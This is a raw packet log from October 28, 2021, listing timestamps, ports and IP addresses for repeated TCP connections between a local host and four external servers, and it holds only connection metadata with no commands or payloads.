Oct 28, 2021 05:00:15.756819963 CEST	50098	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:15.756859064 CEST	50098	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:15.758992910 CEST	50098	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:15.794075966 CEST	808	50099	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:15.794198036 CEST	50099	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:15.795306921 CEST	50099	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:15.873008966 CEST	50100	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:15.927053928 CEST	808	50098	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:15.964008093 CEST	808	50099	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:15.964129925 CEST	808	50099	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:15.964376926 CEST	50099	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:15.964754105 CEST	50099	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:15.967720985 CEST	50099	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:15.967844009 CEST	50099	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:16.039542913 CEST	6891	50100	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:16.039680004 CEST	50100	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:16.040249109 CEST	50100	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:16.133523941 CEST	808	50099	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:16.136692047 CEST	808	50099	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:16.136713982 CEST	808	50099	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:16.136723042 CEST	808	50099	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:16.206676960 CEST	6891	50100	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:16.206805944 CEST	6891	50100	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:16.206898928 CEST	50100	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:16.207349062 CEST	50100	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:16.210118055 CEST	50100	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:16.210211039 CEST	50100	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:16.376559973 CEST	6891	50100	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:16.376612902 CEST	6891	50100	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:16.521368027 CEST	808	50099	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:16.521404982 CEST	808	50099	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:16.521646976 CEST	50099	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:16.521729946 CEST	50099	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:16.535176039 CEST	50099	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:16.667515039 CEST	50101	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:16.704902887 CEST	808	50099	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:16.775774956 CEST	6891	50100	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:16.775799036 CEST	6891	50100	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:16.775912046 CEST	50100	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:16.780035019 CEST	50100	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:16.834090948 CEST	6891	50101	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:16.834242105 CEST	50101	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:16.834781885 CEST	50101	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:16.907049894 CEST	50102	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:16.946402073 CEST	6891	50100	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:16.961340904 CEST	8116	50102	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:16.961492062 CEST	50102	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:16.962733984 CEST	50102	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:17.001020908 CEST	6891	50101	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:17.001137018 CEST	6891	50101	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:17.001271963 CEST	50101	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:17.002048969 CEST	50101	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:17.008616924 CEST	50101	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:17.008905888 CEST	50101	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:17.019908905 CEST	8116	50102	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:17.020113945 CEST	8116	50102	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:17.020251036 CEST	50102	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:17.020896912 CEST	50102	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:17.025666952 CEST	50102	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:17.025813103 CEST	50102	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:17.079849958 CEST	8116	50102	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:17.080054998 CEST	8116	50102	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:17.175815105 CEST	6891	50101	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:17.175839901 CEST	6891	50101	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:17.175848007 CEST	6891	50101	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:17.262810946 CEST	8116	50102	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:17.262839079 CEST	8116	50102	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:17.263123989 CEST	50102	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:17.263235092 CEST	50102	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:17.268205881 CEST	50102	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:17.322364092 CEST	8116	50102	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:17.396143913 CEST	50103	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:17.396213055 CEST	443	50103	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:17.396389961 CEST	50103	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:17.397196054 CEST	50103	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:17.397252083 CEST	443	50103	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:17.556315899 CEST	6891	50101	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:17.556350946 CEST	6891	50101	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:17.556529045 CEST	50101	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:17.577084064 CEST	50101	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:17.707026005 CEST	50104	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:17.743525028 CEST	6891	50101	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:17.774583101 CEST	8116	50104	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:17.774738073 CEST	50104	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:17.775835037 CEST	50104	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:17.830135107 CEST	8116	50104	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:17.830681086 CEST	8116	50104	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:17.830861092 CEST	50104	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:17.831537008 CEST	50104	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:17.835767984 CEST	50104	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:17.835922956 CEST	50104	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:17.890278101 CEST	8116	50104	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:17.890319109 CEST	8116	50104	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:17.894001961 CEST	443	50103	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:17.894171953 CEST	50103	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:17.894968033 CEST	50103	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:17.894984961 CEST	443	50103	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:17.903028965 CEST	50103	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:17.903057098 CEST	443	50103	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:17.903089046 CEST	50103	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:17.903100014 CEST	443	50103	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:18.075289011 CEST	8116	50104	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:18.075333118 CEST	8116	50104	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:18.075509071 CEST	50104	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:18.075567007 CEST	50104	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:18.082767010 CEST	50104	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:18.137317896 CEST	8116	50104	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:18.204474926 CEST	50105	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:18.204530001 CEST	443	50105	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:18.204960108 CEST	50105	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:18.205452919 CEST	50105	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:18.205470085 CEST	443	50105	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:18.593235970 CEST	443	50103	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:18.593303919 CEST	443	50103	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:18.593344927 CEST	50103	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:18.593367100 CEST	50103	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:18.597516060 CEST	50103	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:18.597537994 CEST	443	50103	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:18.694081068 CEST	443	50105	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:18.694232941 CEST	50105	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:18.694941998 CEST	50105	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:18.694956064 CEST	443	50105	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:18.712090015 CEST	50105	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:18.712114096 CEST	443	50105	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:18.712208986 CEST	50105	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:18.712220907 CEST	443	50105	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:18.748384953 CEST	50106	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:18.911673069 CEST	808	50106	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:18.911923885 CEST	50106	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:18.912616968 CEST	50106	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:19.075575113 CEST	808	50106	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:19.075810909 CEST	808	50106	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:19.075882912 CEST	50106	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:19.076545000 CEST	50106	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:19.080566883 CEST	50106	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:19.080703974 CEST	50106	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:19.239574909 CEST	808	50106	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:19.243557930 CEST	808	50106	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:19.243583918 CEST	808	50106	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:19.243628979 CEST	808	50106	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:19.243645906 CEST	808	50106	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:19.243704081 CEST	808	50106	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:19.397564888 CEST	443	50105	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:19.397676945 CEST	443	50105	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:19.397845984 CEST	50105	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:19.409657955 CEST	50105	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:19.409683943 CEST	443	50105	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:19.612580061 CEST	50107	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:19.624177933 CEST	808	50106	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:19.624208927 CEST	808	50106	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:19.624305010 CEST	50106	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:19.627176046 CEST	50106	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:19.748142004 CEST	50108	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:19.771095037 CEST	808	50107	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:19.771265030 CEST	50107	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:19.772104025 CEST	50107	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:19.790355921 CEST	808	50106	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:19.913636923 CEST	6891	50108	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:19.913820028 CEST	50108	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:19.914513111 CEST	50108	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:19.930005074 CEST	808	50107	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:19.930183887 CEST	808	50107	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:19.930270910 CEST	50107	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:19.930834055 CEST	50107	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:19.934119940 CEST	50107	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:19.934206963 CEST	50107	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:20.079730034 CEST	6891	50108	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:20.079797029 CEST	6891	50108	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:20.080008984 CEST	50108	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:20.080585957 CEST	50108	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:20.084415913 CEST	50108	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:20.084547997 CEST	50108	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:20.088741064 CEST	808	50107	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:20.092016935 CEST	808	50107	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:20.092042923 CEST	808	50107	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:20.092053890 CEST	808	50107	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:20.092061996 CEST	808	50107	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:20.092075109 CEST	808	50107	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:20.249723911 CEST	6891	50108	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:20.249758959 CEST	6891	50108	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:20.286365986 CEST	6891	50108	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:20.484939098 CEST	808	50107	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:20.484983921 CEST	808	50107	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:20.485189915 CEST	50107	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:20.485249996 CEST	50107	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:20.492155075 CEST	50107	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:20.614151955 CEST	50109	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:20.630549908 CEST	6891	50108	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:20.630587101 CEST	6891	50108	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:20.630726099 CEST	50108	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:20.633621931 CEST	50108	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:20.650208950 CEST	808	50107	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:20.749203920 CEST	50110	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:20.780509949 CEST	6891	50109	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:20.780685902 CEST	50109	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:20.781435966 CEST	50109	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:20.798897982 CEST	6891	50108	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:20.809199095 CEST	8116	50110	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:20.809298038 CEST	50110	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:20.810229063 CEST	50110	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:20.870214939 CEST	8116	50110	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:20.870580912 CEST	8116	50110	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:20.870687008 CEST	50110	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:20.871428013 CEST	50110	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:20.876338005 CEST	50110	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:20.876537085 CEST	50110	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:20.936424971 CEST	8116	50110	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:20.936491013 CEST	8116	50110	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:20.937881947 CEST	8116	50110	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:20.947735071 CEST	6891	50109	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:20.947802067 CEST	6891	50109	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:20.947901011 CEST	50109	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:20.948580027 CEST	50109	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:20.953320026 CEST	50109	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:20.953556061 CEST	50109	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:21.119654894 CEST	6891	50109	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:21.119709015 CEST	6891	50109	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:21.119720936 CEST	6891	50109	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:21.128237009 CEST	8116	50110	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:21.128262043 CEST	8116	50110	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:21.128426075 CEST	50110	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:21.131550074 CEST	50110	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:21.191581011 CEST	8116	50110	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:21.248253107 CEST	50111	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:21.248308897 CEST	443	50111	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:21.248452902 CEST	50111	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:21.249062061 CEST	50111	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:21.249083996 CEST	443	50111	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:21.514499903 CEST	6891	50109	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:21.514549017 CEST	6891	50109	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:21.514678955 CEST	50109	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:21.520461082 CEST	50109	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:21.639770985 CEST	50112	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:21.688951015 CEST	6891	50109	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:21.694346905 CEST	8116	50112	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:21.694449902 CEST	50112	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:21.695462942 CEST	50112	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:21.734957933 CEST	443	50111	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:21.735565901 CEST	50111	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:21.736383915 CEST	50111	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:21.736401081 CEST	443	50111	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:21.741311073 CEST	50111	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:21.741326094 CEST	443	50111	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:21.741457939 CEST	50111	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:21.741470098 CEST	443	50111	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:21.749391079 CEST	8116	50112	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:21.749727964 CEST	8116	50112	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:21.749878883 CEST	50112	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:21.750478983 CEST	50112	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:21.754630089 CEST	50112	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:21.754764080 CEST	50112	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:21.808943987 CEST	8116	50112	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:21.809307098 CEST	8116	50112	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:21.993199110 CEST	8116	50112	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:21.993242025 CEST	8116	50112	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:21.993294001 CEST	50112	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:21.993321896 CEST	50112	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:21.998939037 CEST	50112	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:22.052973032 CEST	8116	50112	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:22.113185883 CEST	50113	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:22.113220930 CEST	443	50113	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:22.113306999 CEST	50113	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:22.113960981 CEST	50113	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:22.113970995 CEST	443	50113	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:22.425260067 CEST	443	50111	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:22.425323009 CEST	443	50111	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:22.425443888 CEST	50111	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:22.428592920 CEST	50111	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:22.428617954 CEST	443	50111	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:22.591413975 CEST	50114	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:22.607187986 CEST	443	50113	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:22.608897924 CEST	50113	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:22.609885931 CEST	50113	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:22.609906912 CEST	443	50113	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:22.616770983 CEST	50113	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:22.616795063 CEST	443	50113	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:22.616873980 CEST	50113	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:22.616893053 CEST	443	50113	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:22.752705097 CEST	808	50114	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:22.752953053 CEST	50114	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:22.753721952 CEST	50114	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:22.914777040 CEST	808	50114	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:22.914872885 CEST	808	50114	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:22.915010929 CEST	50114	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:22.915776014 CEST	50114	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:22.920022011 CEST	50114	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:22.920123100 CEST	50114	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:23.076663971 CEST	808	50114	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:23.080914974 CEST	808	50114	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:23.080945015 CEST	808	50114	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:23.080960989 CEST	808	50114	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:23.304557085 CEST	443	50113	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:23.304642916 CEST	443	50113	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:23.304797888 CEST	50113	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:23.312336922 CEST	50113	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:23.312375069 CEST	443	50113	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:23.460762978 CEST	808	50114	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:23.460798025 CEST	808	50114	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:23.460947990 CEST	50114	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:23.463989019 CEST	50114	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:23.503714085 CEST	50115	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:23.576996088 CEST	50116	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:23.627542973 CEST	808	50114	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:23.678719997 CEST	808	50115	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:23.678914070 CEST	50115	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:23.679729939 CEST	50115	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:23.742428064 CEST	6891	50116	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:23.742604017 CEST	50116	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:23.743318081 CEST	50116	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:23.852260113 CEST	808	50115	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:23.852366924 CEST	808	50115	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:23.852556944 CEST	50115	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:23.853104115 CEST	50115	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:23.856898069 CEST	50115	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:23.856998920 CEST	50115	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:23.908639908 CEST	6891	50116	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:23.908679962 CEST	6891	50116	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:23.908973932 CEST	50116	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:23.909591913 CEST	50116	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:23.913458109 CEST	50116	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:23.913614035 CEST	50116	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:24.025571108 CEST	808	50115	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:24.029524088 CEST	808	50115	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:24.029548883 CEST	808	50115	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:24.029557943 CEST	808	50115	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:24.078746080 CEST	6891	50116	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:24.078805923 CEST	6891	50116	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:24.415196896 CEST	808	50115	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:24.415221930 CEST	808	50115	143.244.140.214	192.168.2.6
